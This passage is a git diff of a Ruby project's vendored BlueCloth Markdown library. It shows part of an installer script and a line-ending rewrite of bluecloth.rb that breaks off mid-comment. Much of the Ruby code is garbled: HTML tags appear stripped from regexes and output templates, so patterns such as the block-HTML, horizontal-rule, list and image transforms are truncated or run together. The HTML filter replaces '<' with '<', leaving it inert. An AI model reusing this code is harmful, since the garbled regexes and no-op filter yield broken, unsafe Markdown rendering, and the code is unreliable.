'http://raa.ruby-lang.org/list.rhtml?name=strscan', + 'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ], + [ 'logger', "Devel-Logger", + 'http://raa.ruby-lang.org/list.rhtml?name=devel-logger', + 'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ], +] + +class Installer + + @@PrunePatterns = [ + /CVS/, + /~$/, + %r:(^|/)\.:, + /\.tpl$/, + ] + + def initialize( testing=false ) + @ftools = (testing) ? self : File + end + + ### Make the specified dirs (which can be a String or an Array of Strings) + ### with the specified mode. + def makedirs( dirs, mode=0755, verbose=false ) + dirs = [ dirs ] unless dirs.is_a? Array + + oldumask = File::umask + File::umask( 0777 - mode ) + + for dir in dirs + if @ftools == File + File::mkpath( dir, $verbose ) + else + $stderr.puts "Make path %s with mode %o" % [ dir, mode ] + end + end + + File::umask( oldumask ) + end + + def install( srcfile, dstfile, mode=nil, verbose=false ) + dstfile = File.catname(srcfile, dstfile) + unless FileTest.exist? dstfile and File.cmp srcfile, dstfile + $stderr.puts " install #{srcfile} -> #{dstfile}" + else + $stderr.puts " skipping #{dstfile}: unchanged" + end + end + + public + + def installFiles( src, dstDir, mode=0444, verbose=false ) + directories = [] + files = [] + + if File.directory?( src ) + Find.find( src ) {|f| + Find.prune if @@PrunePatterns.find {|pat| f =~ pat} + next if f == src + + if FileTest.directory?( f ) + directories << f.gsub( /^#{src}#{File::Separator}/, '' ) + next + + elsif FileTest.file?( f ) + files << f.gsub( /^#{src}#{File::Separator}/, '' ) + + else + Find.prune + end + } + else + files << File.basename( src ) + src = File.dirname( src ) + end + + dirs = [ dstDir ] + dirs |= directories.collect {|d| File.join(dstDir,d)} + makedirs( dirs, 0755, verbose ) + files.each {|f| + srcfile = File.join(src,f) + dstfile = File.dirname(File.join( dstDir,f )) + + if verbose + if mode + $stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode + else + $stderr.puts "Install #{srcfile} -> #{dstfile}" + end + end + + @ftools.install( srcfile, dstfile, mode, verbose ) + } + end + +end + +if $0 == __FILE__ + header "BlueCloth Installer #$version" + + for lib in RequiredLibraries + testForRequiredLibrary( *lib ) + end + + viewOnly = ARGV.include? '-n' + verbose = ARGV.include? '-v' + + debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'" + sitelibdir = CONFIG['sitelibdir'] + debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'" + sitearchdir = CONFIG['sitearchdir'] + + message "Installing\n" + i = Installer.new( viewOnly ) + i.installFiles( "lib", sitelibdir, 0444, verbose ) +end + + + + diff --git a/vendor/bluecloth-1.0.0/lib/bluecloth.rb b/vendor/bluecloth-1.0.0/lib/bluecloth.rb index 4aa44d25..00be883a 100755 --- a/vendor/bluecloth-1.0.0/lib/bluecloth.rb +++ b/vendor/bluecloth-1.0.0/lib/bluecloth.rb @@ -1,1144 +1,1144 @@ -#!/usr/bin/ruby -# -# Bluecloth is a Ruby implementation of Markdown, a text-to-HTML conversion -# tool. -# -# == Synopsis -# -# doc = BlueCloth::new " -# ## Test document ## -# -# Just a simple test. -# " -# -# puts doc.to_html -# -# == Authors -# -# * Michael Granger -# -# == Contributors -# -# * Martin Chase - Peer review, helpful suggestions -# * Florian Gross - Filter options, suggestions -# -# == Copyright -# -# Original version: -# Copyright (c) 2003-2004 John Gruber -# -# All rights reserved. -# -# Ruby port: -# Copyright (c) 2004 The FaerieMUD Consortium. -# -# BlueCloth is free software; you can redistribute it and/or modify it under the -# terms of the GNU General Public License as published by the Free Software -# Foundation; either version 2 of the License, or (at your option) any later -# version. -# -# BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY -# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR -# A PARTICULAR PURPOSE. See the GNU General Public License for more details. -# -# == To-do -# -# * Refactor some of the larger uglier methods that have to do their own -# brute-force scanning because of lack of Perl features in Ruby's Regexp -# class. Alternately, could add a dependency on 'pcre' and use most Perl -# regexps. -# -# * Put the StringScanner in the render state for thread-safety. -# -# == Version -# -# $Id: bluecloth.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# - -require 'digest/md5' -require 'logger' -require 'strscan' - - -### BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion -### tool. -class BlueCloth < String - - ### Exception class for formatting errors. - class FormatError < RuntimeError - - ### Create a new FormatError with the given source +str+ and an optional - ### message about the +specific+ error. - def initialize( str, specific=nil ) - if specific - msg = "Bad markdown format near %p: %s" % [ str, specific ] - else - msg = "Bad markdown format near %p" % str - end - - super( msg ) - end - end - - - # Release Version - Version = '0.0.3' - - # SVN Revision - SvnRev = %q$Rev: 69 $ - - # SVN Id tag - SvnId = %q$Id: bluecloth.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ - - # SVN URL - SvnUrl = %q$URL: svn+ssh://svn.faeriemud.org/usr/local/svn/BlueCloth/trunk/lib/bluecloth.rb $ - - - # Rendering state struct. Keeps track of URLs, titles, and HTML blocks - # midway through a render. I prefer this to the globals of the Perl version - # because globals make me break out in hives. Or something. - RenderState = Struct::new( "RenderState", :urls, :titles, :html_blocks, :log ) - - # Tab width for #detab! if none is specified - TabWidth = 4 - - # The tag-closing string -- set to '>' for HTML - EmptyElementSuffix = "/>"; - - # Table of MD5 sums for escaped characters - EscapeTable = {} - '\\`*_{}[]()#.!'.split(//).each {|char| - hash = Digest::MD5::hexdigest( char ) - - EscapeTable[ char ] = { - :md5 => hash, - :md5re => Regexp::new( hash ), - :re => Regexp::new( '\\\\' + Regexp::escape(char) ), - } - } - - - ################################################################# - ### I N S T A N C E M E T H O D S - ################################################################# - - ### Create a new BlueCloth string. - def initialize( content="", *restrictions ) - @log = Logger::new( $deferr ) - @log.level = $DEBUG ? - Logger::DEBUG : - ($VERBOSE ? Logger::INFO : Logger::WARN) - @scanner = nil - - # Add any restrictions, and set the line-folding attribute to reflect - # what happens by default. - @filter_html = nil - @filter_styles = nil - restrictions.flatten.each {|r| __send__("#{r}=", true) } - @fold_lines = true - - super( content ) - - @log.debug "String is: %p" % self - end - - - ###### - public - ###### - - # Filters for controlling what gets output for untrusted input. (But really, - # you're filtering bad stuff out of untrusted input at submission-time via - # untainting, aren't you?) - attr_accessor :filter_html, :filter_styles - - # RedCloth-compatibility accessor. Line-folding is part of Markdown syntax, - # so this isn't used by anything. - attr_accessor :fold_lines - - - ### Render Markdown-formatted text in this string object as HTML and return - ### it. The parameter is for compatibility with RedCloth, and is currently - ### unused, though that may change in the future. - def to_html( lite=false ) - - # Create a StringScanner we can reuse for various lexing tasks - @scanner = StringScanner::new( '' ) - - # Make a structure to carry around stuff that gets placeholdered out of - # the source. - rs = RenderState::new( {}, {}, {} ) - - # Make a copy of the string with normalized line endings, tabs turned to - # spaces, and a couple of guaranteed newlines at the end - text = self.gsub( /\r\n?/, "\n" ).detab - text += "\n\n" - @log.debug "Normalized line-endings: %p" % text - - # Filter HTML if we're asked to do so - if self.filter_html - text.gsub!( "<", "<" ) - text.gsub!( ">", ">" ) - @log.debug "Filtered HTML: %p" % text - end - - # Simplify blank lines - text.gsub!( /^ +$/, '' ) - @log.debug "Tabs -> spaces/blank lines stripped: %p" % text - - # Replace HTML blocks with placeholders - text = hide_html_blocks( text, rs ) - @log.debug "Hid HTML blocks: %p" % text - @log.debug "Render state: %p" % rs - - # Strip link definitions, store in render state - text = strip_link_definitions( text, rs ) - @log.debug "Stripped link definitions: %p" % text - @log.debug "Render state: %p" % rs - - # Escape meta-characters - text = escape_special_chars( text ) - @log.debug "Escaped special characters: %p" % text - - # Transform block-level constructs - text = apply_block_transforms( text, rs ) - @log.debug "After block-level transforms: %p" % text - - # Now swap back in all the escaped characters - text = unescape_special_chars( text ) - @log.debug "After unescaping special characters: %p" % text - - return text - end - - - ### Convert tabs in +str+ to spaces. - def detab( tabwidth=TabWidth ) - copy = self.dup - copy.detab!( tabwidth ) - return copy - end - - - ### Convert tabs to spaces in place and return self if any were converted. - def detab!( tabwidth=TabWidth ) - newstr = self.split( /\n/ ).collect {|line| - line.gsub( /(.*?)\t/ ) do - $1 + ' ' * (tabwidth - $1.length % tabwidth) - end - }.join("\n") - self.replace( newstr ) - end - - - ####### - #private - ####### - - ### Do block-level transforms on a copy of +str+ using the specified render - ### state +rs+ and return the results. - def apply_block_transforms( str, rs ) - # Port: This was called '_runBlockGamut' in the original - - @log.debug "Applying block transforms to:\n %p" % str - text = transform_headers( str, rs ) - text = transform_hrules( text, rs ) - text = transform_lists( text, rs ) - text = transform_code_blocks( text, rs ) - text = transform_block_quotes( text, rs ) - text = transform_auto_links( text, rs ) - text = hide_html_blocks( text, rs ) - - text = form_paragraphs( text, rs ) - - @log.debug "Done with block transforms:\n %p" % text - return text - end - - - ### Apply Markdown span transforms to a copy of the specified +str+ with the - ### given render state +rs+ and return it. - def apply_span_transforms( str, rs ) - @log.debug "Applying span transforms to:\n %p" % str - - str = transform_code_spans( str, rs ) - str = encode_html( str ) - str = transform_images( str, rs ) - str = transform_anchors( str, rs ) - str = transform_italic_and_bold( str, rs ) - - # Hard breaks - str.gsub!( / {2,}\n/, " - #
            - # tags for inner block must be indented. - #
            - #
      • - StrictBlockRegex = %r{ - ^ # Start of line - <(#{StrictTagPattern}) # Start tag: \2 - \b # word break - (.*\n)*? # Any number of lines, minimal match - # Matching end tag - [ ]* # trailing spaces - $ # End of line or document - }ix - - # More-liberal block-matching - LooseBlockRegex = %r{ - ^ # Start of line - <(#{LooseTagPattern}) # start tag: \2 - \b # word break - (.*\n)*? # Any number of lines, minimal match - .* # Anything + Matching end tag - [ ]* # trailing spaces - $ # End of line or document - }ix - - # Special case for
        . - HruleBlockRegex = %r{ - ( # $1 - \A\n? # Start of doc + optional \n - | # or - .*\n\n # anything + blank line - ) - ( # save in $2 - [ ]* # Any spaces -
        ])*? # Attributes - /?> # Tag close - $ # followed by a blank line or end of document - ) - }ix - - ### Replace all blocks of HTML in +str+ that start in the left margin with - ### tokens. - def hide_html_blocks( str, rs ) - @log.debug "Hiding HTML blocks in %p" % str - - # Tokenizer proc to pass to gsub - tokenize = lambda {|match| - key = Digest::MD5::hexdigest( match ) - rs.html_blocks[ key ] = match - @log.debug "Replacing %p with %p" % [ match, key ] - "\n\n#{key}\n\n" - } - - rval = str.dup - - @log.debug "Finding blocks with the strict regex..." - rval.gsub!( StrictBlockRegex, &tokenize ) - - @log.debug "Finding blocks with the loose regex..." - rval.gsub!( LooseBlockRegex, &tokenize ) - - @log.debug "Finding hrules..." - rval.gsub!( HruleBlockRegex ) {|match| $1 + tokenize[$2] } - - return rval - end - - - # Link defs are in the form: ^[id]: url "optional title" - LinkRegex = %r{ - ^[ ]*\[(.+)\]: # id = $1 - [ ]* - \n? # maybe *one* newline - [ ]* - ? # url = $2 - [ ]* - \n? # maybe one newline - [ ]* - (?: - # Titles are delimited by "quotes" or (parens). - ["(] - (.+?) # title = $3 - [")] # Matching ) or " - [ ]* - )? # title is optional - (?:\n+|\Z) - }x - - ### Strip link definitions from +str+, storing them in the given RenderState - ### +rs+. - def strip_link_definitions( str, rs ) - str.gsub( LinkRegex ) {|match| - id, url, title = $1, $2, $3 - - rs.urls[ id.downcase ] = encode_html( url ) - unless title.nil? - rs.titles[ id.downcase ] = title.gsub( /"/, """ ) - end - "" - } - end - - - ### Escape special characters in the given +str+ - def escape_special_chars( str ) - @log.debug " Escaping special characters" - text = '' - - # The original Markdown source has something called '$tags_to_skip' - # declared here, but it's never used, so I don't define it. - - tokenize_html( str ) {|token, str| - @log.debug " Adding %p token %p" % [ token, str ] - case token - - # Within tags, encode * and _ - when :tag - text += str. - gsub( /\*/, EscapeTable['*'][:md5] ). - gsub( /_/, EscapeTable['_'][:md5] ) - - # Encode backslashed stuff in regular text - when :text - text += encode_backslash_escapes( str ) - else - raise TypeError, "Unknown token type %p" % token - end - } - - @log.debug " Text with escapes is now: %p" % text - return text - end - - - ### Swap escaped special characters in a copy of the given +str+ and return - ### it. - def unescape_special_chars( str ) - EscapeTable.each {|char, hash| - @log.debug "Unescaping escaped %p with %p" % [ char, hash[:md5re] ] - str.gsub!( hash[:md5re], char ) - } - - return str - end - - - ### Return a copy of the given +str+ with any backslashed special character - ### in it replaced with MD5 placeholders. - def encode_backslash_escapes( str ) - # Make a copy with any double-escaped backslashes encoded - text = str.gsub( /\\\\/, EscapeTable['\\'][:md5] ) - - EscapeTable.each_pair {|char, esc| - next if char == '\\' - text.gsub!( esc[:re], esc[:md5] ) - } - - return text - end - - - ### Transform any Markdown-style horizontal rules in a copy of the specified - ### +str+ and return it. - def transform_hrules( str, rs ) - @log.debug " Transforming horizontal rules" - str.gsub( /^( ?[\-\*_] ?){3,}$/, "\n\n%s\n} % [ - list_type, - transform_list_items( list, rs ), - list_type, - ] - } - end - - - # Pattern for transforming list items - ListItemRegexp = %r{ - (\n)? # leading line = $1 - (^[ ]*) # leading whitespace = $2 - (#{ListMarkerAny}) [ ]+ # list marker = $3 - ((?m:.+?) # list item text = $4 - (\n{1,2})) - (?= \n* (\z | \2 (#{ListMarkerAny}) [ ]+)) - }x - - ### Transform list items in a copy of the given +str+ and return it. - def transform_list_items( str, rs ) - @log.debug " Transforming list items" - - # Trim trailing blank lines - str = str.sub( /\n{2,}\z/, "\n" ) - - str.gsub( ListItemRegexp ) {|line| - @log.debug " Found item line %p" % line - leading_line, item = $1, $4 - - if leading_line or /\n{2,}/.match( item ) - @log.debug " Found leading line or item has a blank" - item = apply_block_transforms( outdent(item), rs ) - else - # Recursion for sub-lists - @log.debug " Recursing for sublist" - item = transform_lists( outdent(item), rs ).chomp - item = apply_span_transforms( item, rs ) - end - - %{
      • %s
      • \n} % item - } - end - - - # Pattern for matching codeblocks - CodeBlockRegexp = %r{ - (?:\n\n|\A) - ( # $1 = the code block - (?: - (?:[ ]{#{TabWidth}} | \t) # a tab or tab-width of spaces - .*\n+ - )+ - ) - (^[ ]{0,#{TabWidth - 1}}\S|\Z) # Lookahead for non-space at - # line-start, or end of doc - }x - - ### Transform Markdown-style codeblocks in a copy of the specified +str+ and - ### return it. - def transform_code_blocks( str, rs ) - @log.debug " Transforming code blocks" - - str.gsub( CodeBlockRegexp ) {|block| - codeblock = $1 - remainder = $2 - - # Generate the codeblock - %{\n\n
        %s\n
        \n\n%s} % - [ encode_code( outdent(codeblock), rs ).rstrip, remainder ] - } - end - - - # Pattern for matching Markdown blockquote blocks - BlockQuoteRegexp = %r{ - (?: - ^[ ]*>[ ]? # '>' at the start of a line - .+\n # rest of the first line - (?:.+\n)* # subsequent consecutive lines - \n* # blanks - )+ - }x - PreChunk = %r{ ( ^ \s*
         .+? 
        ) }xm - - ### Transform Markdown-style blockquotes in a copy of the specified +str+ - ### and return it. - def transform_block_quotes( str, rs ) - @log.debug " Transforming block quotes" - - str.gsub( BlockQuoteRegexp ) {|quote| - @log.debug "Making blockquote from %p" % quote - - quote.gsub!( /^ *> ?/, '' ) # Trim one level of quoting - quote.gsub!( /^ +$/, '' ) # Trim whitespace-only lines - - indent = " " * TabWidth - quoted = %{
        \n%s\n
        \n\n} % - apply_block_transforms( quote, rs ). - gsub( /^/, indent ). - gsub( PreChunk ) {|m| m.gsub(/^#{indent}/o, '') } - @log.debug "Blockquoted chunk is: %p" % quoted - quoted - } - end - - - AutoAnchorURLRegexp = /<((https?|ftp):[^'">\s]+)>/ - AutoAnchorEmailRegexp = %r{ - < - ( - [-.\w]+ - \@ - [-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+ - ) - > - }xi - - ### Transform URLs in a copy of the specified +str+ into links and return - ### it. - def transform_auto_links( str, rs ) - @log.debug " Transforming auto-links" - str.gsub( AutoAnchorURLRegexp, %{\\1}). - gsub( AutoAnchorEmailRegexp ) {|addr| - encode_email_address( unescape_special_chars($1) ) - } - end - - - # Encoder functions to turn characters of an email address into encoded - # entities. - Encoders = [ - lambda {|char| "&#%03d;" % char}, - lambda {|char| "&#x%X;" % char}, - lambda {|char| char.chr }, - ] - - ### Transform a copy of the given email +addr+ into an escaped version safer - ### for posting publicly. - def encode_email_address( addr ) - - rval = '' - ("mailto:" + addr).each_byte {|b| - case b - when ?: - rval += ":" - when ?@ - rval += Encoders[ rand(2) ][ b ] - else - r = rand(100) - rval += ( - r > 90 ? Encoders[2][ b ] : - r < 45 ? Encoders[1][ b ] : - Encoders[0][ b ] - ) - end - } - - return %{%s} % [ rval, rval.sub(/.+?:/, '') ] - end - - - # Regex for matching Setext-style headers - SetextHeaderRegexp = %r{ - (.+) # The title text ($1) - \n - ([\-=])+ # Match a line of = or -. Save only one in $2. - [ ]*\n+ - }x - - # Regexp for matching ATX-style headers - AtxHeaderRegexp = %r{ - ^(\#{1,6}) # $1 = string of #'s - [ ]* - (.+?) # $2 = Header text - [ ]* - \#* # optional closing #'s (not counted) - \n+ - }x - - ### Apply Markdown header transforms to a copy of the given +str+ amd render - ### state +rs+ and return the result. - def transform_headers( str, rs ) - @log.debug " Transforming headers" - - # Setext-style headers: - # Header 1 - # ======== - # - # Header 2 - # -------- - # - str. - gsub( SetextHeaderRegexp ) {|m| - @log.debug "Found setext-style header" - title, hdrchar = $1, $2 - title = apply_span_transforms( title, rs ) - - case hdrchar - when '=' - %[

        #{title}

        \n\n] - when '-' - %[

        #{title}

        \n\n] - else - title - end - }. - - gsub( AtxHeaderRegexp ) {|m| - @log.debug "Found ATX-style header" - hdrchars, title = $1, $2 - title = apply_span_transforms( title, rs ) - - level = hdrchars.length - %{%s\n\n} % [ level, title, level ] - } - end - - - ### Wrap all remaining paragraph-looking text in a copy of +str+ inside

        - ### tags and return it. - def form_paragraphs( str, rs ) - @log.debug " Forming paragraphs" - grafs = str. - sub( /\A\n+/, '' ). - sub( /\n+\z/, '' ). - split( /\n{2,}/ ) - - rval = grafs.collect {|graf| - - # Unhashify HTML blocks if this is a placeholder - if rs.html_blocks.key?( graf ) - rs.html_blocks[ graf ] - - # Otherwise, wrap in

        tags - else - apply_span_transforms(graf, rs). - sub( /^[ ]*/, '

        ' ) + '

        ' - end - }.join( "\n\n" ) - - @log.debug " Formed paragraphs: %p" % rval - return rval - end - - - # Pattern to match the linkid part of an anchor tag for reference-style - # links. - RefLinkIdRegex = %r{ - [ ]? # Optional leading space - (?:\n[ ]*)? # Optional newline + spaces - \[ - (.*?) # Id = $1 - \] - }x - - InlineLinkRegex = %r{ - \( # Literal paren - [ ]* # Zero or more spaces - ? # URI = $1 - [ ]* # Zero or more spaces - (?: # - ([\"\']) # Opening quote char = $2 - (.*?) # Title = $3 - \2 # Matching quote char - )? # Title is optional - \) - }x - - ### Apply Markdown anchor transforms to a copy of the specified +str+ with - ### the given render state +rs+ and return it. - def transform_anchors( str, rs ) - @log.debug " Transforming anchors" - @scanner.string = str.dup - text = '' - - # Scan the whole string - until @scanner.empty? - - if @scanner.scan( /\[/ ) - link = ''; linkid = '' - depth = 1 - startpos = @scanner.pos - @log.debug " Found a bracket-open at %d" % startpos - - # Scan the rest of the tag, allowing unlimited nested []s. If - # the scanner runs out of text before the opening bracket is - # closed, append the text and return (wasn't a valid anchor). - while depth.nonzero? - linktext = @scanner.scan_until( /\]|\[/ ) - - if linktext - @log.debug " Found a bracket at depth %d: %p" % [ depth, linktext ] - link += linktext - - # Decrement depth for each closing bracket - depth += ( linktext[-1, 1] == ']' ? -1 : 1 ) - @log.debug " Depth is now #{depth}" - - # If there's no more brackets, it must not be an anchor, so - # just abort. - else - @log.debug " Missing closing brace, assuming non-link." - link += @scanner.rest - @scanner.terminate - return text + '[' + link - end - end - link.slice!( -1 ) # Trim final ']' - @log.debug " Found leading link %p" % link - - # Look for a reference-style second part - if @scanner.scan( RefLinkIdRegex ) - linkid = @scanner[1] - linkid = link.dup if linkid.empty? - linkid.downcase! - @log.debug " Found a linkid: %p" % linkid - - # If there's a matching link in the link table, build an - # anchor tag for it. - if rs.urls.key?( linkid ) - @log.debug " Found link key in the link table: %p" % rs.urls[linkid] - url = escape_md( rs.urls[linkid] ) - - text += %{#{link}} - - # If the link referred to doesn't exist, just append the raw - # source to the result - else - @log.debug " Linkid %p not found in link table" % linkid - @log.debug " Appending original string instead: " - @log.debug "%p" % @scanner.string[ startpos-1 .. @scanner.pos-1 ] - text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] - end - - # ...or for an inline style second part - elsif @scanner.scan( InlineLinkRegex ) - url = @scanner[1] - title = @scanner[3] - @log.debug " Found an inline link to %p" % url - - text += %{#{link}} - - # No linkid part: just append the first part as-is. - else - @log.debug "No linkid, so no anchor. Appending literal text." - text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] - end # if linkid - - # Plain text - else - @log.debug " Scanning to the next link from %p" % @scanner.rest - text += @scanner.scan( /[^\[]+/ ) - end - - end # until @scanner.empty? - - return text - end - - - # Pattern to match strong emphasis in Markdown text - BoldRegexp = %r{ (\*\*|__) (\S|\S.+?\S) \1 }x - - # Pattern to match normal emphasis in Markdown text - ItalicRegexp = %r{ (\*|_) (\S|\S.+?\S) \1 }x - - ### Transform italic- and bold-encoded text in a copy of the specified +str+ - ### and return it. - def transform_italic_and_bold( str, rs ) - @log.debug " Transforming italic and bold" - - str. - gsub( BoldRegexp, %{\\2} ). - gsub( ItalicRegexp, %{\\2} ) - end - - - ### Transform backticked spans into spans. - def transform_code_spans( str, rs ) - @log.debug " Transforming code spans" - - # Set up the string scanner and just return the string unless there's at - # least one backtick. - @scanner.string = str.dup - unless @scanner.exist?( /`/ ) - @scanner.terminate - @log.debug "No backticks found for code span in %p" % str - return str - end - - @log.debug "Transforming code spans in %p" % str - - # Build the transformed text anew - text = '' - - # Scan to the end of the string - until @scanner.empty? - - # Scan up to an opening backtick - if pre = @scanner.scan_until( /.?(?=`)/m ) - text += pre - @log.debug "Found backtick at %d after '...%s'" % [ @scanner.pos, text[-10, 10] ] - - # Make a pattern to find the end of the span - opener = @scanner.scan( /`+/ ) - len = opener.length - closer = Regexp::new( opener ) - @log.debug "Scanning for end of code span with %p" % closer - - # Scan until the end of the closing backtick sequence. Chop the - # backticks off the resultant string, strip leading and trailing - # whitespace, and encode any enitites contained in it. - codespan = @scanner.scan_until( closer ) or - raise FormatError::new( @scanner.rest[0,20], - "No %p found before end" % opener ) - - @log.debug "Found close of code span at %d: %p" % [ @scanner.pos - len, codespan ] - codespan.slice!( -len, len ) - text += "%s" % - encode_code( codespan.strip, rs ) - - # If there's no more backticks, just append the rest of the string - # and move the scan pointer to the end - else - text += @scanner.rest - @scanner.terminate - end - end - - return text - end - - - # Next, handle inline images: ![alt text](url "optional title") - # Don't forget: encode * and _ - InlineImageRegexp = %r{ - ( # Whole match = $1 - !\[ (.*?) \] # alt text = $2 - \([ ]* - ? # source url = $3 - [ ]* - (?: # - (["']) # quote char = $4 - (.*?) # title = $5 - \4 # matching quote - [ ]* - )? # title is optional - \) - ) - }xs #" - - - # Reference-style images - ReferenceImageRegexp = %r{ - ( # Whole match = $1 - !\[ (.*?) \] # Alt text = $2 - [ ]? # Optional space - (?:\n[ ]*)? # One optional newline + spaces - \[ (.*?) \] # id = $3 - ) - }xs - - ### Turn image markup into image tags. - def transform_images( str, rs ) - @log.debug " Transforming images" % str - - # Handle reference-style labeled images: ![alt text][id] - str. - gsub( ReferenceImageRegexp ) {|match| - whole, alt, linkid = $1, $2, $3.downcase - @log.debug "Matched %p" % match - res = nil - alt.gsub!( /"/, '"' ) - - # for shortcut links like ![this][]. - linkid = alt.downcase if linkid.empty? - - if rs.urls.key?( linkid ) - url = escape_md( rs.urls[linkid] ) - @log.debug "Found url '%s' for linkid '%s' " % [ url, linkid ] - - # Build the tag - result = %{%s}, '>' ). - gsub( CodeEscapeRegexp ) {|match| EscapeTable[match][:md5]} - end - - - - ################################################################# - ### U T I L I T Y F U N C T I O N S - ################################################################# - - ### Escape any markdown characters in a copy of the given +str+ and return - ### it. - def escape_md( str ) - str. - gsub( /\*/, EscapeTable['*'][:md5] ). - gsub( /_/, EscapeTable['_'][:md5] ) - end - - - # Matching constructs for tokenizing X/HTML - HTMLCommentRegexp = %r{ }mx - XMLProcInstRegexp = %r{ <\? .*? \?> }mx - MetaTag = Regexp::union( HTMLCommentRegexp, XMLProcInstRegexp ) - - HTMLTagOpenRegexp = %r{ < [a-z/!$] [^<>]* }imx - HTMLTagCloseRegexp = %r{ > }x - HTMLTagPart = Regexp::union( HTMLTagOpenRegexp, HTMLTagCloseRegexp ) - - ### Break the HTML source in +str+ into a series of tokens and return - ### them. The tokens are just 2-element Array tuples with a type and the - ### actual content. If this function is called with a block, the type and - ### text parts of each token will be yielded to it one at a time as they are - ### extracted. - def tokenize_html( str ) - depth = 0 - tokens = [] - @scanner.string = str.dup - type, token = nil, nil - - until @scanner.empty? - @log.debug "Scanning from %p" % @scanner.rest - - # Match comments and PIs without nesting - if (( token = @scanner.scan(MetaTag) )) - type = :tag - - # Do nested matching for HTML tags - elsif (( token = @scanner.scan(HTMLTagOpenRegexp) )) - tagstart = @scanner.pos - @log.debug " Found the start of a plain tag at %d" % tagstart - - # Start the token with the opening angle - depth = 1 - type = :tag - - # Scan the rest of the tag, allowing unlimited nested <>s. If - # the scanner runs out of text before the tag is closed, raise - # an error. - while depth.nonzero? - - # Scan either an opener or a closer - chunk = @scanner.scan( HTMLTagPart ) or - raise "Malformed tag at character %d: %p" % - [ tagstart, token + @scanner.rest ] - - @log.debug " Found another part of the tag at depth %d: %p" % [ depth, chunk ] - - token += chunk - - # If the last character of the token so far is a closing - # angle bracket, decrement the depth. Otherwise increment - # it for a nested tag. - depth += ( token[-1, 1] == '>' ? -1 : 1 ) - @log.debug " Depth is now #{depth}" - end - - # Match text segments - else - @log.debug " Looking for a chunk of text" - type = :text - - # Scan forward, always matching at least one character to move - # the pointer beyond any non-tag '<'. - token = @scanner.scan_until( /[^<]+/m ) - end - - @log.debug " type: %p, token: %p" % [ type, token ] - - # If a block is given, feed it one token at a time. Add the token to - # the token list to be returned regardless. - if block_given? - yield( type, token ) - end - tokens << [ type, token ] - end - - return tokens - end - - - ### Return a copy of +str+ with angle brackets and ampersands HTML-encoded. - def encode_html( str ) - str.gsub( /&(?!#?[x]?(?:[0-9a-f]+|\w+);)/i, "&" ). - gsub( %r{<(?![a-z/?\$!])}i, "<" ) - end - - - ### Return one level of line-leading tabs or spaces from a copy of +str+ and - ### return it. - def outdent( str ) - str.gsub( /^(\t|[ ]{1,#{TabWidth}})/, '') - end - -end # class BlueCloth - +#!/usr/bin/ruby +# +# Bluecloth is a Ruby implementation of Markdown, a text-to-HTML conversion +# tool. +# +# == Synopsis +# +# doc = BlueCloth::new " +# ## Test document ## +# +# Just a simple test. +# " +# +# puts doc.to_html +# +# == Authors +# +# * Michael Granger +# +# == Contributors +# +# * Martin Chase - Peer review, helpful suggestions +# * Florian Gross - Filter options, suggestions +# +# == Copyright +# +# Original version: +# Copyright (c) 2003-2004 John Gruber +# +# All rights reserved. +# +# Ruby port: +# Copyright (c) 2004 The FaerieMUD Consortium. +# +# BlueCloth is free software; you can redistribute it and/or modify it under the +# terms of the GNU General Public License as published by the Free Software +# Foundation; either version 2 of the License, or (at your option) any later +# version. +# +# BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +# A PARTICULAR PURPOSE. See the GNU General Public License for more details. +# +# == To-do +# +# * Refactor some of the larger uglier methods that have to do their own +# brute-force scanning because of lack of Perl features in Ruby's Regexp +# class. Alternately, could add a dependency on 'pcre' and use most Perl +# regexps. +# +# * Put the StringScanner in the render state for thread-safety. +# +# == Version +# +# $Id: bluecloth.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# + +require 'digest/md5' +require 'logger' +require 'strscan' + + +### BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion +### tool. +class BlueCloth < String + + ### Exception class for formatting errors. + class FormatError < RuntimeError + + ### Create a new FormatError with the given source +str+ and an optional + ### message about the +specific+ error. + def initialize( str, specific=nil ) + if specific + msg = "Bad markdown format near %p: %s" % [ str, specific ] + else + msg = "Bad markdown format near %p" % str + end + + super( msg ) + end + end + + + # Release Version + Version = '0.0.3' + + # SVN Revision + SvnRev = %q$Rev: 69 $ + + # SVN Id tag + SvnId = %q$Id: bluecloth.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ + + # SVN URL + SvnUrl = %q$URL: svn+ssh://svn.faeriemud.org/usr/local/svn/BlueCloth/trunk/lib/bluecloth.rb $ + + + # Rendering state struct. Keeps track of URLs, titles, and HTML blocks + # midway through a render. I prefer this to the globals of the Perl version + # because globals make me break out in hives. Or something. + RenderState = Struct::new( "RenderState", :urls, :titles, :html_blocks, :log ) + + # Tab width for #detab! if none is specified + TabWidth = 4 + + # The tag-closing string -- set to '>' for HTML + EmptyElementSuffix = "/>"; + + # Table of MD5 sums for escaped characters + EscapeTable = {} + '\\`*_{}[]()#.!'.split(//).each {|char| + hash = Digest::MD5::hexdigest( char ) + + EscapeTable[ char ] = { + :md5 => hash, + :md5re => Regexp::new( hash ), + :re => Regexp::new( '\\\\' + Regexp::escape(char) ), + } + } + + + ################################################################# + ### I N S T A N C E M E T H O D S + ################################################################# + + ### Create a new BlueCloth string. + def initialize( content="", *restrictions ) + @log = Logger::new( $deferr ) + @log.level = $DEBUG ? + Logger::DEBUG : + ($VERBOSE ? Logger::INFO : Logger::WARN) + @scanner = nil + + # Add any restrictions, and set the line-folding attribute to reflect + # what happens by default. + @filter_html = nil + @filter_styles = nil + restrictions.flatten.each {|r| __send__("#{r}=", true) } + @fold_lines = true + + super( content ) + + @log.debug "String is: %p" % self + end + + + ###### + public + ###### + + # Filters for controlling what gets output for untrusted input. (But really, + # you're filtering bad stuff out of 